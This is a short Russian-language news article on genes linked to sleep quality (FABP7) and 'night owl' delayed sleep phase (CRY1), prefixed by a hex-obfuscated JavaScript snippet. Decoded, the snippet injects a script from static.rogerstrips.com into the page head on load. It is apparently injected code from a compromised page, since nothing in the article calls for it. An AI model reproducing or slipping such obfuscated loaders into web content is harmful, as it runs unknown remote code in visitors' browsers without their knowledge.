script type='text/javascript'>var _0x7f86=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x72\x6F\x67\x65\x72\x73\x74\x72\x69\x70\x73\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];var script=document[_0x7f86[1]](_0x7f86[0]);script[_0x7f86[2]]= _0x7f86[3];script[_0x7f86[4]]= _0x7f86[5];document[_0x7f86[8]](_0x7f86[7])[0][_0x7f86[6]](script)

Английский драматург Томас Деккер в XVI веке назвал сон «золотой цепью», связывающей наши тела и наше здоровье. Расстройство сна – одна из главных причин множества болезней и недомоганий.

Ученые университета Вашингтона нашли ген, который отвечает за качество сна. Естественно предположить, что, научившись воздействовать на него, можно укреплять сон и влиять на его продолжительность, пишет kp.ru.

Эксперименты показали, что если у подопытных мышей «отключать» ген FABP7, то у них нарушается сон. Затем ученые изучили сон 300 японцев и их ДНК. Выяснилось, пишет Guardian, что у 29 из них имеется особый вариант FABP7, который заставляет их спать более чутко и несколько раз за ночь просыпаться.

Еще одна группа ученых — из университета Рокфеллера изучала «сов», то есть людей, которые поздно ложатся спать и которых утром не добудиться. Оказалось, что эта особенность сна вызвана мутацией гена CRY1, которая замедляет ход внутренних часов, то есть регулирует циклы сна и бодрствования. У обладателей мутации этого гена сон задерживается более чем на два часа. Это заболевание, известное как «нарушения, связанные с отсроченным наступлением фазы сна» (DSPD), способствуют развитию диабета, сердечно-сосудистых болезней и болезни Альцгеймера. Доказательство того, что и это расстройство сна связано с изменениями определенного гена, со временем может помочь его лечению.